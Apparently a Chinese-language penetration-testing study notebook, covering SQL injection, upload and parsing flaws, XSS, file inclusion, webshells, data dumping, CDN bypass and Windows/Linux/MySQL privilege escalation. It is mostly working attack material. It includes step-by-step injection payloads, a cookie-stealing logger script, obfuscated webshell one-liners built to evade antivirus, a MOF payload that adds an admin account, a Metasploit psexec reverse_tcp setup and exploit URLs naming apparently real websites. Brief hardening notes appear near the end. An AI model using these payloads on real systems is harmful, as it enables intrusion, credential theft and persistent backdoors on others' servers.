笔记目录:
一、注入数据接收过程中参数在数据库与脚本间传输过滤不严谨造成。
sql注入漏洞产生的条件:
1.有参数传递
2.连接数据库,组合sql语句,参数带入数据库查询
3.执行sql语句并返回显示
1. Asp+Access网站URL地址:
http://127.0.0.1:81/0/0/Production/PRODUCT_DETAIL.asp?id=1513
文件目录:Production
文件名:PRODUCT_DETAIL.asp
文件参数名:id
文件参数值:1513
(1)联合查询法
and 1=1, and 1=2, xor 5>6;
order by 10;
union select 1,2,3,4 from admin
(2)逐字猜解法
查表:and exists(select * from admin)
查列:and exists(select password from admin)
爆内容:1.确定长度 2.确定asc数据(asc编码)
猜内容长度and (select top 1 len(password) from admin)=5
猜内容第一位and (select top 1 asc(mid(password,1,1))from admin)=97
猜内容第二位and (select top 1 asc(mid(password,2,1))from admin)=97
…
注:联合查询法和逐字猜解法都需要猜数据库名(如admin),列名(字段名,如username,password);access还有个偏移注入(得知道表名和任意一个列名)
工具注入爆破表、列都是基于字典:
(1)有注入爆不出表,社工(网站名,站长信息,源代码等),查找相关逻辑,猜表名。
(2)爆得出表爆不出列的,用偏移注入。
URL + union select * from admin as a inner join admin as b on a. id=b. id
2. Php+Mysql
Php编程基础:
php语言开端,结尾
注释符(单行,多行)
*单引号,双引号区别(单引号不解析变量,双引号解析变量)
*变量赋值,接受方式
*Php+Mysql函数
Information_schema:mysql5.0及以上版本自带的数据库(存储mysql数据库下的所有数据库的表名和列名信息)
注入流程:
----------------------------------------------------------------------------------------------------------------
(1)判断注入
(2)爆数字(注入爆不出数字,在ID前加-号或者and 1=2)
id=5 union select 1,2,3,4,5
爆不出来就id=-5 union select 1,2,3,4,5
或id=5 and 1=2 union select 1,2,3,4,5
(3)判断当前用户、数据库名、数据库版本、操作系统
user()、 database()、 version()、 @@version_compile_os()
----------------------------------------------------------------------------------------------------------------
(4)上面得到的数据库名,然后爆表名
Union select 1,2,table_name,4,5 from information_schema.tables where table_schema=数据库的十六进制编码
(5)爆列名
union select 1,2,column_name,4,5 from information_schema.columns where table_name=表名的十六进制
注:如果表名列名得不到想要的admin、user、username、password,使用group_concat(table_name) 爆所有表、列。
----------------------------------------------------------------------------------------------------------------
(6)爆内容
union select 1,2,username,password,5 from 表名
如需更多的账号密码:
union select 1,2,username,password,5 from 表名 limit 0,1
union select 1,2,username,password,5 from 表名 limit 1,1
union select 1,2,username,password,5 from 表名 limit 2,1
...
----------------------------------------------------------------------------------------------------------------
mysql注入如果union select 1,2,user(),4,5 from admin
//得到的如果数据库是root权限用户,可以写入一句话木马,不用注入找后台上传。
select '' into outfile 'd:\\wwwroot';
注:一句话或者写入内容用单引号就不要编码,编码就不要用引号,后面文件路径要用'\\'或者'/',不能用’\‘,防止与后面字母如'\n','\t'等转义。
--------------------------------------------------------------------------------------------------------------------------------
文件读取:load_file
文件导出:into outfile
(1)select load_file('d:/debug.txt');
(2)select 'aaaa' into outfile 'd:/d.txt';
爆网站的绝对路径:
(1)加'或者随意字符报错显示
(2)谷歌黑客 //site:www.xxx.com warning
(3)网站配置信息 //xxx.config
(4)网站遗留文件 //phpinfo.php
(5)漏洞爆路径 //dedecms爆路径
3. php+mysql 防注入及绕过
(1)函数防护
addslashes():对以下字符进行转义,在以下字符前自动插入“\”
单引号(')
双引号(")
反斜杠(\)
NULL
(2)Php.ini设置
magic_quotes_gpc = on 魔术引号
绕过思路:
(1)字符进行URL编码(编码不需要单引号)
(2)宽字节注入(宽字节占用2个字节,其他字符占用1个字节,利用覆盖绕过)
一般宽字节用%df中文为 運(中文汉字占两个字节相当于覆盖掉系统自动转义的\)
Cookie注入:绕过一些防注入语句。( get、post注入略过 )
4. 数据库操作命令
连接数据库 mysql -u用户名 –h ip地址 –p 密码
查看数据库 show databases;
创建数据库 create database 数据库名;
删除数据库 drop database 数据库名;
选择数据库 use 数据库名;
数据库里面是表:
查看库中表 show tables;
创建表 create table sin();
删除表 drop table 表名;
重命名表 rename table 原表名 to 新表名
选择表 use 表名;
表里面是列(字段):
查看表结构(列) show columns from 表名 from 数据库名;
增加字段 alter table 表名 add 字段及参数;
修改字段 alter table 表名 modify 字段及修改的参数;
删除字段 alter table 表名 drop column列名;
插入记录 insert into 表名(字段) values (‘插入的数据’);
eg: insert into user(uname,pwd) values(‘shi’,’123456’);
删除记录 delete from表名 where 条件;
eg: delete from user where ‘uanme=shi,pwd=123456’;
查询记录 select * from 表名; select 字段 from 表名 where 条件;
修改记录 update 表名 set 修改字段='内容' where 条件;
读取文件 select load_file(hex编码路径) from 表名;
导入数据 insert into 表名(字段) values ('');
导出数据 select * into outfile 'd:\1.php' from 表名;(可以导出一句话木马)
二、上传 1. 解析漏洞
平台:apache、tomcat、iis、nginx等。
识别:爱站、站长之家、wwwscan、破壳等扫描工具。
数据库:根据脚本判断、扫开放端口。
(1) IIS 6.0 (除了解析asp,还解析asa, cer, cdx )
test.jpg ——à a.asp;.test.jpg
/test.jpg ——à /111.asp/test.jpg (该目录下需能创建文件夹)
(2)IIS 7.0/7.5 Ngnix (只能解析php)
www.xxx.com/test.jpg ——à www.xxx.com/test.jpg/.php
在网站图片位置后面+/.php乱码就存在解析漏洞,然后传图马,+/.php菜刀链接。
(3)Apache
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.。
www.xxx.com/test.jpg ——à www.xxx.com/xx.php.xxxxxxx
2. 上传漏洞攻击手法(1)%00截断上传
(2)文件头修改
有的时候审核文件类型并不都是按后缀名,也可能按文件头内容,修改可突破。
GIF: gif89a jpg:JFIF
(3) 文件类型修改
3. 编辑器上传(1)ewebeditor
辑器漏洞利用核心:获取编辑器地址
1.Ewebeditor编辑器漏洞利用过程:获取编辑器地址,尝试获取编辑器后台地址,尝试默认账号密码登陆,如登陆失败可尝试下载默认数据库,破解其账号密码,登陆后台,尝试添加上传类型,如无确认按钮,可新增样式,新增插入图片,浏览上传,获取后门地址。
默认后台地址:ewebeditor/admin_login.asp
默认账号密码:admin admin/admin123/admin888
默认数据库地址:ewebeditor/db/ewebeditor.mdb
2.目录遍历(选择目录样式)
http://www.kirinmach.com/ewebeditor//admin_uploadfile.asp?id=14&dir=../../../..
3.寻找前人痕迹再次入侵(下载的数据查找样式)
http://www.njgyjx.com/ewebeditor/ewebeditor.asp?ID=45&style=standard1
添加:asp,asa,php,aspx,aaspsp等类型
(2)fckeditor
首先确定网站脚本格式,然后寻找漏洞地址,访问上传,结合解析漏洞加以利用!
qq.asp;.jpg ==》qq.asp;.jpg (过滤:qqq_asp;.jpg)
突破fckeditor “.”过滤”_”:
二次上传第一次上传:qq.asp;.jpg ==》qq_asp;.jpg
第二次上传:qq.asp;.jpg ==》qq_asp;.jpg (不满足命名要求)
可能出现第二次命名为 qq.asp;(1).jpg(这样就符合解析漏洞格式)
新建上传漏洞地址:
editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
结果:会建两个文件夹 /qing.asp/x_asp
手工新建:
/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/&NewFolderName=xiaodi.asp
结果: /xiaodi_asp
原因:
CurrentFolder:当前文件夹 未进行过滤
NewFolderName:新建文件名 进行了过滤(将“.”过滤成“_”)
三、跨站
输出未过滤导致的脚本执行
语法:(需考虑闭合,作适当调整)
1. xss分类
(1)反射型跨站(非持续型)
(2)存储型跨站(持续型)
2. xss攻击手法
(1) 盗取cookie
(2)表单劫持
(3)界面劫持
(4)钓鱼攻击
http://127.0.0.1:88/dvwa/vulnerabilities/xss_r/?name=
(5)流量攻击
3. xss绕过3.1 大小写
3.2 编码
3.3 其他语句调用
3.4 组合
Dvwa平台 中等级防护代码:
if(!array_key_exists("name",$_GET)||$_GET['name']==NULL||$_GET['name']==''){
$isempty=true;
}else{
echo'
'; echo'Hello'.str_replace('&p=admin
修复过滤:
未修复代码:
修复代码:(转url编码)
ASP修复语句:server.htmlencode()
PHP修复语句:htmlspecialchars()
Xss后台权限维持技术
实例:将xss平台语句写入登录成功后台的默认Default.asp文件中,不管管理员怎么修改密码,只要登录成功就能长期劫持cookie。
四、文件包含
包含文件即意味文件代码被执行,包含一句话后门即一句话后门成功执行。
关键字:include
格式:include()
1. 本地包含 2. 远程包含PHP.INI中allow_url_include=on,开启远程包含,反之就是未开启远程包含
3. 演示
包含文件即意味着以php去解析执行该文件!(包含文件后缀不受影响,均以php解析执行)
远程包含,本地包含 成因?
Php.ini设置中allow_url_include=on/off 开关
开启意味可能存在远程包含(源程序代码可能存在过滤等情况),关闭意味不存在远程包含
测试开启开关,尝试远程包含:(成功包含一句话,成为后门地址)
包含漏洞挖掘扫描:
扫描软件当扫描漏洞有相关关键字,则意味可能存在包含漏洞(include,require等关键字)
Ekucms包含漏洞演示:
漏洞地址:http://www.wooyun.org/bugs/wooyun-2010-061639
操作流程:
通过错误日志记录功能,访问错误地址(带有一句话) 通过日志文件存储规律,获取日志文件路径 通过包含漏洞包含此日志文件,获取webshell
制造错误:
日志文件:
包含一句话:
http://127.0.0.1:88/ekucms/index.php?s=my/show/id/\..\temp\logs\15_10_28.log
菜刀链接:
文件包含利用场景:
1.包含过狗
2.包含维持权限
安全狗判断规则:
1.关键字过滤
2.文件格式过滤
3.行为过滤
.....
安全狗waf拦截行为:
注入、上传、Webshell、扫描漏洞、下载文件...
五、代码执行
关键字:eval,assert
可当做后门使用,直接在下图echo处执行一些目录遍历等的代码。
六、命令执行关键字:exec,shell_exec,system,passthru等函数调用执行的cmd命令,导致可直接在web页面实现系统命令的执行。
七、变量覆盖织梦漏洞变量覆盖exp:
覆盖原始数据库配置信息(数据库地址,数据库账号密码,管理员账号密码)
http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=账号&pwd=密码& _POST[GLOBALS][cfg_dbhost]=MYSQL外链IP&_POST[GLOBALS][cfg_dbuser]=MYSQL的账号&_POST[GLOBALS][cfg_dbpwd]=MYSQL的密码&_POST[GLOBALS][cfg_dbname]=自己的dedecms的数据库
八、手写cookie、Exp利用 1. 手写cookie接收页面
触发代码:
Document.write:输出显示
Document.cookie:获取cookie
接受代码:
成功接受:
http://127.0.0.1/cookie/cookie.php?c=security=low;%20BEEFHOOK=55EGPT8KVbNomVHFALz0ALoIKr0kCGiPrfOqPDfRbYwxTNNXBLmE17znEhoTXTNq6iig3S7mUB1RcZtR;%20a6266_times=1;%20WSTMALLviewGoods=think%3A%5B%2215%22%2C%223%22%2C%22150%22%5D;%20PHPSESSID=1bti6ubs7fsksocv11kmdv7ej3
初期版本:只获取cookie
添加:网站地址,管理员ip地址,获取时间,浏览器信息等。
date_default_timezone_set('Asia/Shanghai');
$time= date('Y-m-d H:i:s',time());
$cookie=$_GET['c']; //接受get传递参数c的值并赋值给变量cookie
$file = fopen('cookie.html','a');//以读写模式打开cookie.txt
if($file){
fwrite($file,'获取时间:');
fwrite($file,$time);
fwrite($file,'');
fwrite($file,$cookie);//载入打开文件,写入变量cookie的数据
fwrite($file,'');//继续写入换行数据
fclose($file);//关闭打开文件句柄
}
?>
2. exp利用和修改准备工作:了解exp编写语言,语言的编译开发环境
Php exp利用:
Php.exe、php5ts.dll (php安装程序里面自带),在这两个文件当前路径下创建cmd执行。
修改,增加功能:
获取root账户密码Mysql数据库user表名
获取xx数据库的管理员账号密码九、CMS识别,后台查找、getshell方法 1. 网站cms识别
模板cms(开源源码程序)
Phpcms,dedecms,aspcms,WordPress,discuz,phpweb,php168等
非模板cms
识别技术:
(1)工具识别:
Windows:指纹识别工具
Linux:whatweb
(2)人工识别:
图标logo,底部文件,后台标示,网站url地址,robots.txt等
图标logo:
底部文件:
后台标示:
Robots.txt 搜索协议:(不同cms程序,robots.txt内容也不一致)
介绍特定cms漏洞扫描两款工具:
(1)Wpscan:WordPress程序漏洞专用扫描器
(2) Joomscan:Joomla程序漏洞专用扫描器
2. 后台查找技术
(1)字典扫描(基于字典数量与强度)
御剑,wwwscan,破壳等类似敏感文件扫描工具
(2)网站爬行(爬行功能)
wvs,appscan,burpsuite等漏洞扫描工具
(3)短文件漏洞
(4)社工技巧(域名,端口,地址,谷歌黑客等)
域名、二级域名:
----------------------------------------------------------------------------------------------------------------------------
端口:
-----------------------------------------------------------------------------------------------------------------------------
地址:
www.xxxx.com/e_news.asp?id=1
www.xxxx.com/e_index.asp?id=1
猜:www.xxxx.com/e_admin/
------------------------------------------------------------------------------------------------------------------------------
谷歌黑客:
3. 拿shell方法
3.1非cms拿shell
3.1.1数据库备份:
Asp /=》不能上传
Jpg =》得到路径
利用数据库备份将获取的路径下面的图片格式文件重新进行更改后缀。
原理:先找任意上传点上传图马,然后点后台中“数据库备份”备份图马路径(如果当前数据库路径不是图马路径,审查元素修改成图马路径),会得到新的路径,可直接菜刀链接。
3.1.2编辑器上传(浏览器自带的网络抓包可得编辑器路径)
3.1.3抓包上传(brup改名、路径、%00截断等)
3.1.4模板修改
3.1.5 Sql语句执行(phpmyadmin第三方平台)
需要root权限
3.1.6配置插马(配置信息和asp代码执行一样)
疑问:配置文件地址(抓包),后门代码插入的时候闭合符号问题
未闭合符号,网站锁死:
正确闭合,可连接后门程序:
3.2 Cms拿shell
直接寻求百度
十、小马功能实现、过狗一句话、菜刀原理 1. 小马编写
获取文件绝对路径:
$_SERVER['DOCUMENT_ROOT'] #当前运行脚本所在的文档根目录。在服务器配置文件中定义。
$_SERVER['PHP_SELF'] #当前正在执行脚本的文件名,与 document root相关。
例:PHP小马接受处理路径及内容:
$_SERVER 全局变量:
修改提交方式达到绕过安全狗查杀:
POST被杀,将其改为REQUEST成功过狗。
2. 过狗一句话
PHP一句话代码:assert = eval
具有 文件管理,命令执行,数据库管理等功能
前期过狗一句话:
案例1:
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
?>
案例2:
当前过狗一句话(利用变量覆盖,过段时间估计也不过狗)
过狗思路总结:
(1)关键字替换;
(2)数组函数 拆分组合;
(3)正则表达式,变量覆盖,加解密函数(编码)。
函数学习:
(1)str_replace 正则表达式函数 替换
(2)Base64_encode base64加密
(3)Base64_decode base64解密
(4)create_function 自创函数
3. 菜刀原理
文件管理数据包:
URL解码 BASE64加解密
源码:
POST /yjh.php HTTP/1.1
Cache-Control: no-cache
X-Forwarded-For: 129.205.42.143
Referer: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Baiduspider
Host: 127.0.0.1
Content-Length: 732
Connection: Close
x=@eval(/*12345*/base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=RDpcXFdXV1xcY29kZQ==
解码:
x=@eval(/*12345*/base64_decode($_POST[z0]));&z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo
$M.$L;@closedir($F);};echo("|<-");die();&z1=D:\\WWW\\code
4. Php.ini与web安全
display_errors
对display_errors没有进行设置,导致web目录泄露。这对于黑客来说可是非常重要的信息,因为很多时候的渗透都需要知道web目录,例如webshell的写入等等
open_basedir
使用open_basedir选项能够控制PHP脚本只能访问指定的目录,这样能够避免PHP脚本访问不应该访问的文件,一定 程度上限制了webshell的危害,我们一般可以设置为只能访问网站目录(假设网站目录为E:\test):open_basedir = E:\test
如果启用,可以有效的消除本地文件或者远程文件被include()等函数的调用攻击
disable_functions
使用disable_functions可以限制一些对于系统来说威胁很大的函数
小马代码:(使用fopen,fwrite等函数执行)
$path=$_POST['p'];
$context=$_POST['c'];
$file = fopen($path,"a+");
fwrite($file,$context);
fclose($file);
?>
尝试限制fopen,fwrite函数执行:
绕过思路:尝试换其他函数执行类似功能
更多函数见PPT。
十一、数据脱裤、源码获取、cdn绕过 1. 数据脱裤
数据库账号密码获取方法:
(1)查看网站数据库配置文件(config,common,inc,database,data,sql等)
(2)通过暴力破解得到账号密码
工具或脚本破解账号密码(hscan,x-scan,3306爆破工具,hydra等)
(3)通过下载数据库文件存储表获取
Mysql安装路径下data目录存放的文件及文件夹和数据库架构一致
由于mysql数据库root账号密码存储在mysql数据库名下的user表里面,所以我们只需要下载到user的三个文件即可得到账号密码。(user.myd)
数据脱裤:
(1)工具脱取
Navicat for MySQL
(2)脚本脱取
优缺点比较:
工具:支持面广,速度快(需支持外联)
脚本:解决不支持外联
2. 源码获取
(1)脚本打包
(2)运行压缩命令(目标机器需安装winrar, 较少使用)
3. cdn绕过
判断目标网站是否采用cdn技术:
(1)命令判断
nslookup 目标网站
(2)超级ping
未采用cdn技术
绕过思路:
(1)查看邮件服务器返回的ip地址
(2)查看目标有无phpinfo等探针文件
(3)查看二级域名存在的ip段
十二、提权 1. 系统溢出漏洞提权
Windows cmd命令
Whoami查看当前用户权限
Systeminfo查看计算机的信息(操作系统,位数,补丁情况等)
tasklist /svc查看计算机的进程
netstat -ano查看计算机的网络端口连接
net user查看计算机的用户
net user xiaodi 123456 /add添加用户名为xiaodi,密码为123456的用户
net localgroup administrators xiaodi /add添加用户名为xiaodi的用户到管理员组
net user xiaodi /del删除用户名为xiaodi的用户
Webshell提权-exp提权
前期信息收集:
服务器的操作系统
操作系统位数情况
当前计算机用户权限
当前计算机补丁情况
当前计算机进程情况
当前网站支持的脚本类型
找可读可写目录,上传提权exp,调用cmd执行exp进行提权
注意:不要找带空格的目录,exp后缀可以更改
寻找可读写目录
对比补丁选择exp进行提权
调用exp执行权限
小方法:
(1)用最新的漏洞测试提权:ms15051
(2)用不同的平台进行提权:菜刀,aspx大马
(3)不同脚本权限是不一样的
(4)Jsp > aspx >php,asp
eg:用ms15051在aspx上提权
不成功:
图1
成功:
图2
备注:两张图”whoami”前都是有空格的。
原因:
图1执行的是cmd /c exp “whoami”
图2执行的是exp “whoami”
exp所在目录不选用有空格。
2. Mysql数据库提权
mysql数据库提权前题:获取数据库最高权限用户root的账号密码。
Root账号密码获取见十一节”数据脱裤”。
Udf提权分高版本,低版本分类;
Mof提权属于漏洞提权,有些数据库版本可能存在打过补丁;
启动项提权属于技巧型提权。
2.1 udf提权(功能型)原理:利用root高权限创建带有调用cmd的动态链接库udf.dll
提权:大马,特定mysql提权脚本
上传udf.dll
小于mysql5.1版本
C:\\WINDOWS\\udf.dll 或 C:\\WINDOWS\\system32\\udf.dll
大于等于mysql5.1版本
%mysql%\\plugin\\udf.dll 用 select @@plugin_dir 查询plugin路径
默认 C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll
脚本或工具自动化提权
(1)大马自带mysql提权:
(2)专用脚本提权:
(3)工具:
2.2 mof提权(漏洞型)
1.找个可写目录,我这里是C:\recycler\,把如下代码写到nullevt.mof文件里(也就是他源码里的payload)
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
注意上面的net.exe user admin admin /add,可以随便改的,想执行啥都行,有没有参数也都行,执行自己的马也行。
再然后,在菜刀或webshell里连接mysql数据库后执行:
select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof’;
参考文摘:http://www.myhack58.com/Article/html/3/8/2013/38264.htm
2.3 启动项提权(技巧型)
原理:利用root高权限将cmd命令写入到启动项里,服务器重启后导致执行。
3. Messql数据库提权
Mssql默认端口:1433
Mssql最高权限用户:sa (查找messql 配置文件)
得到sa密码后提权:
错误解决方案:http://liuxirui0526.blog.163.com/blog/static/11868503320108910651212/
Hash(补充,非messql提权)
Getpass:
hash传递入侵
启动msf msfconsole
use exploit/windows/smb/psexec 用到hash传递入侵的模块 show options 查看选项配置信息 set PAYLOAD windows/meterpreter/reverse_tcp 设置载荷 set LHOST set RHOST set smbuser set... 设置攻击的配置信息5.exploit 攻击
4. Linux提权反弹msf 提权
linux exp提权
linux mysql提权
ssh 协议连接
反弹shell
linux提权相关命令:
id 查看当前用户权限
uname -a 查看系统内核版本
chmod -R 777 文件名 赋予执行权限
gcc -o exp exp.c 编译c文件
Linux提权
第一步:反弹shell
第二步:获取内核信息,寻找exp
第三步:赋予exp执行权限
chmod –R 777 (rwx :421)
第四步:执行exp调用root权限
Linux提权比windows简单,主要在于找exp。
5.第三方软件提权
第三方软件提权
serv-u提权,vnc,radmin,zend等提权
服务器安全攻防
5.1 ser-u提权(软件提权),服务器安全攻防
serv-u:ftp管理软件
默认端口:43958
有修改权限的提权(配置文件):
直接在配置文件中添加用户,密码,权限
修改配置文件,达到增加或删除ftp管理用户的功能
无修改权限的提权(配置文件):
获取ftp管理用户的账号密码,尝试提权
Serv-u加密方式:
解密:
ywCEAC987E787492DA112F5373412EDF23
CEAC987E787492DA112F5373412EDF23=yw123456
Yw123456-yw
明文:123456
去掉前面2个字符,将后面的字符串尝试md5密码破解,密码破解的值继续去掉2位
例子:
密码:123456
随机抽选:ab
Md5(ab123456)=872BE7378D2E5C4B747F2547144C6DC5
Serv-u密文:ab872BE7378D2E5C4B747F2547144C6DC5
可使用webshell自带的serv-u提权:
5.2 Vnc,radmin:远程管理软件
radmin默认端口:4899
Vnc默认端口:5900
由于windows远程桌面的功能较少,不少公司开发出一系列远程管理软件,方便站长管理服务器。
暴力破解:
5.3 Zend:php+mysql框架插件
参考第五十一课
https://www.91ri.org/3224.html
6.服务器安全攻防
可参照:http://www.chinaz.com/server/2008/0129/22454.shtml
设置目录执行权限,使webshell无处遁形!
(1)iis目录执行权限设置
建议使用:上传目录及特定目录设置此类无权限
绕过思路:换目录上传webshell执行
(2)给特定的目录上集成Windows 2003的身份验证功能,例如后台的设置。
(3)设置解析格式
(4) 对网站用户的权限设置
对目录进行权限控制,设置可读可写权限
对单个文件进行权限设置:
(5)IP策略
提权小技巧:
Type命令 结合aspx进行文件读取
Rar命令 打包源码 打包数据库
Iis.vbs利用 获取iis搭建站点的路径信息 旁注思路 找目标站点路径
Iis.vbs 集合 type进行小技巧渗透
例子:
服务器下有多个站点,其中M是目标站点
A站点:d:/wwwroot/A
B站点:d:/wwwroot/B
通过旁注渗透到A站点,推想d:/wwwroot/M是目标站点目录
注意:webshell使用iis.vbs获取网站路径时,要采用cscript.exe调用执行
十三、渗透测试中的代码审计
漏洞产生条件:1.可控变量 2.函数
程序的两大根本:变量与函数
漏洞的利用效果取决于最终函数的功能
漏洞的利用效果取决于最终函数的功能
代码审计前的准备
A.得到代码
a.对于开源的应用程序:
*得到程序的版本信息,越详细越好。
*具体应用程序版本扫描
b.对于不开源的应用程序:
*通过黑盒扫描得到备用文件
*通过黑盒扫描利用sql注射暴代码[loadfile()]
*通过黑盒扫描利用容易文件下载漏洞
*上一次渗透测试打包下载的代码
B.得到平台信息
php版本及php.ini一些基本设置、OS信息、Web服务信息、数据库
挖掘流程分析
漏洞产生的关键字:
注入,上传,跨站,执行,包含,覆盖等
sql注入关键字:select insert update $_GET $_POST $_REQUEST
上传漏洞关键字:$_FILES move_uploaded_file
执行漏洞关键字:shell_exec exec passthru system popen
包含漏洞关键字:include、include_once、require、require_once
变量覆盖关键字:$$
跨站漏洞关键字:echo、print、print_r、var_dump、var_exprot,insert
防护函数:
1.脚本语言自带的函数
注入漏洞防护函数:addslashes,is_numeric,is_int,is_integer,htmlspecialchars,mysql_real_escape_string,mysql_escape_string
上传漏洞防护函数:substr strrpos $_FILES数组参数
2.开发者自写的函数
正则表达式
撒网式:
寻找各种漏洞
点对点:
寻找特定漏洞
例子注入漏洞:
注入产生条件:
一.分析漏洞成因
变量,参数接受传递 变量带入数据库查询 变量可控 漏洞关键字归类Sql语句的关键字(select,union,updata,insert等)
脚本代码的接受方式($_GET,$_POST,$_REQUEST等)
文件遍历工具进行遍历 筛选漏洞代码 追踪变量 进行漏洞测试
模拟审计:
访问有参数的地址2.对应代码寻找参数接受及赋值变量
3.跟踪变量
测试漏洞$id=$_GET['cid'];
$query = "SELECT * FROM content WHERE id='$id'";
http://127.0.0.1:88/iseaCMS/index.php?r=content&cid=5
SELECT * FROM content WHERE id=’5’
http://127.0.0.1:88/iseaCMS/index.php?r=content&cid=5 and 1=1
SELECT * FROM content WHERE id=’5 and 1=1’
http://127.0.0.1:88/iseaCMS/index.php?r=content&cid=5’ and 1=1#